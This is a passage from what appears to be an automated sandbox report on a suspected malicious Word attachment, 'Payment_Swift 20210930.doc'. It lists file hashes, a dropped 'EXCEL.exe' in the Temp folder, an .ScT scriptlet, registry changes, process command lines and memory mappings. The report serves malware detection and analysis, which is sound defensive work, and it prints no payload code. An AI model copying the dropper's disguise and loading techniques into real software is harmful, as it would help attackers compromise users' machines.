SHA1 fa48e101a185d6aba734c13298ef8f4a64c9e91d
SHA256 914aea2af54e919af7b6c48d546cc5f49d7c115e53ed0c53a10b6f041846e3a1
SHA512 1cfe10c1003b9201707135f3e3567485bc714a13d9e08d94d97c22ec1cb813b63f0559f96aa0b04648b251a5478d4ef80f58334956e66e198290e06d1f00c36a

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 f08dc1f7da30f60421521c6a7b124111
SHA1 fa48e101a185d6aba734c13298ef8f4a64c9e91d
SHA256 914aea2af54e919af7b6c48d546cc5f49d7c115e53ed0c53a10b6f041846e3a1
SHA512 1cfe10c1003b9201707135f3e3567485bc714a13d9e08d94d97c22ec1cb813b63f0559f96aa0b04648b251a5478d4ef80f58334956e66e198290e06d1f00c36a

memory/1320-181-0x0000000004C20000-0x0000000004C21000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ade08276-3816-4c11-bb25-666634ff276b

MD5 a70ee38af4bb2b5ed3eeb7cbd1a12fa3
SHA1 81dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9
SHA256 dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d
SHA512 8c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4ceb695f-c8c9-46e4-85e8-c59413aeb41f

MD5 7f79b990cb5ed648f9e583fe35527aa7
SHA1 71b177b48c8bd745ef02c2affad79ca222da7c33
SHA256 080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683
SHA512 20926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_309de61d-c868-45fa-9681-a04d65908c7c

MD5 d89968acfbd0cd60b51df04860d99896
SHA1 b3c29916ccb81ce98f95bbf3aa8a73de16298b29
SHA256 1020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9
SHA512 b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5902446f-c9d4-4612-998f-ca7070a0d52d

MD5 354b8209f647a42e2ce36d8cf326cc92
SHA1 98c3117f797df69935f8b09fc9e95accfe3d8346
SHA256 feae405d288fdd38438f9d9b54f791f3ce3805f1bb88780da5aca402ad372239
SHA512 420be869b58e9a7a2c31f2550ac269df832935692a6431d455a10d9b426781e79d91e30ace2c465633b8a7ff2be1bf49734d8b99a390090dc4b36411d4391ff0

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

MD5 0757ec1b643e383233d7c49eee0c2941
SHA1 b76408f65fa3e4c4b9bd49c03ebe38762c2825a9
SHA256 3428f1a08b44c4704fc3798aca2ce37fd41c57d6bd008c3c7adfbf64e33bd4f4
SHA512 90b240e290ac620fe9c7c54b2f29a81c7700629f1d21108ac6a5d894c0cbe5f4d792cfad2591329f8ef8fddfca1cfa8d9653d5d867c7d2d2a5147ff86a40d8ac

memory/1356-191-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 f08dc1f7da30f60421521c6a7b124111
SHA1 fa48e101a185d6aba734c13298ef8f4a64c9e91d
SHA256 914aea2af54e919af7b6c48d546cc5f49d7c115e53ed0c53a10b6f041846e3a1
SHA512 1cfe10c1003b9201707135f3e3567485bc714a13d9e08d94d97c22ec1cb813b63f0559f96aa0b04648b251a5478d4ef80f58334956e66e198290e06d1f00c36a

memory/1352-197-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 f08dc1f7da30f60421521c6a7b124111
SHA1 fa48e101a185d6aba734c13298ef8f4a64c9e91d
SHA256 914aea2af54e919af7b6c48d546cc5f49d7c115e53ed0c53a10b6f041846e3a1
SHA512 1cfe10c1003b9201707135f3e3567485bc714a13d9e08d94d97c22ec1cb813b63f0559f96aa0b04648b251a5478d4ef80f58334956e66e198290e06d1f00c36a

\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

memory/824-215-0x00000000004010B8-mapping.dmp

\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

memory/1848-224-0x00000000004010B8-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\EXCEL.exe

MD5 cb12b24b0f69225693168e9c35761a1b
SHA1 0f68f676d76e3546d7d625cdb14f0947c59beff5
SHA256 c830683f700f311fe3d533d849cf045b1cbed5ff76debaa6c3dd8f71c0daa535
SHA512 9d53b958b83d8599d0eb1ee4766f03a735cd557290921ded296513e34fd2886ff78382e9a1616613c566d0be9cd5c381fa4de6b86a921d0a33aac1c499d00c65

memory/1608-229-0x0000000000401364-mapping.dmp

memory/1372-232-0x0000000000401364-mapping.dmp

memory/1088-239-0x0000000000401364-mapping.dmp

memory/1344-242-0x0000000000401364-mapping.dmp

memory/1852-244-0x0000000000000000-mapping.dmp

memory/844-249-0x0000000000401364-mapping.dmp

memory/1708-248-0x0000000000401364-mapping.dmp

memory/1920-252-0x0000000000000000-mapping.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2021-09-30 15:05

Reported

2021-09-30 15:07

Platform

win10v20210408

Max time kernel

149s

Max time network

142s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payment_Swift 20210930.doc" /o ""

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Modifies registry class

Description Indicator Process Target
Key created \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-4133255791-1537607648-535455881-866640337-2331302567-1697148169-38550334 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-4133255791-1537607648-535455881-866640337-2331302567-1697148169-38550334\DisplayName = "OICE_16_974FA576_32C1D314_1560" C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key created \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-4133255791-1537607648-535455881-866640337-2331302567-1697148169-38550334\Children C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key created \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_1560 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_CLASSES\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPCONTAINER\STORAGE\OICE_16_974FA576_32C1D314_1560\CHILDREN C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_1560 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_CLASSES\LOCAL SETTINGS\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\APPCONTAINER\MAPPINGS\S-1-15-2-4133255791-1537607648-535455881-866640337-2331302567-1697148169-38550334\CHILDREN C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-4133255791-1537607648-535455881-866640337-2331302567-1697148169-38550334\Moniker = "oice_16_974fa576_32c1d314_1560" C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key created \Registry\User\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\oice_16_974fa576_32c1d314_1560\Children C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key deleted \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-4133255791-1537607648-535455881-866640337-2331302567-1697148169-38550334 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

NTFS ADS

Description Indicator Process Target
File opened for modification C:\Users\Admin\AppData\Local\Temp\{E4D3C42E-E813-46FE-A94B-5AADF670644E}\abdtfhghgeghDh.ScT:Zone.Identifier C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Payment_Swift 20210930.doc" /o ""

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE

"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\FLTLDR.EXE" C:\Program Files\Common Files\Microsoft Shared\GRPHFLT\PNG32.FLT

Network

Files

memory/1832-114-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmp

memory/1832-115-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmp

memory/1832-116-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmp

memory/1832-117-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmp

memory/1832-118-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmp

memory/1832-119-0x00007FFDF8960000-0x00007FFDFB483000-memory.dmp

memory/1832-122-0x00007FFDF4E90000-0x00007FFDF5F7E000-memory.dmp

memory/1832-123-0x00007FFDF2250000-0x00007FFDF4145000-memory.dmp

memory/3544-360-0x0000000000000000-mapping.dmp

memory/3544-362-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmp

memory/3544-363-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmp

memory/3544-364-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmp

C:\Users\Admin\AppData\Local\Packages\oice_16_974fa576_32c1d314_1560\AC\Temp\FL5A40.tmp

MD5 4ab19a56b01ed576ee690fecc12b018e
SHA1 da8c3f89de11cd5686ff2312fb3bda274923bff1
SHA256 3063b8cd739b1ba51488b40e1e360de2c051836449fbcea27a37c114966ed5a4
SHA512 e8dd66da3b82c774c4d6bdb6159533718708789ba78803365dfa81a00974acd7ea409429d74c06edf231399f61f9c71822b2f8d767b01a4dc7122dae66f89c47

memory/3544-390-0x00007FFDD78A0000-0x00007FFDD78B0000-memory.dmp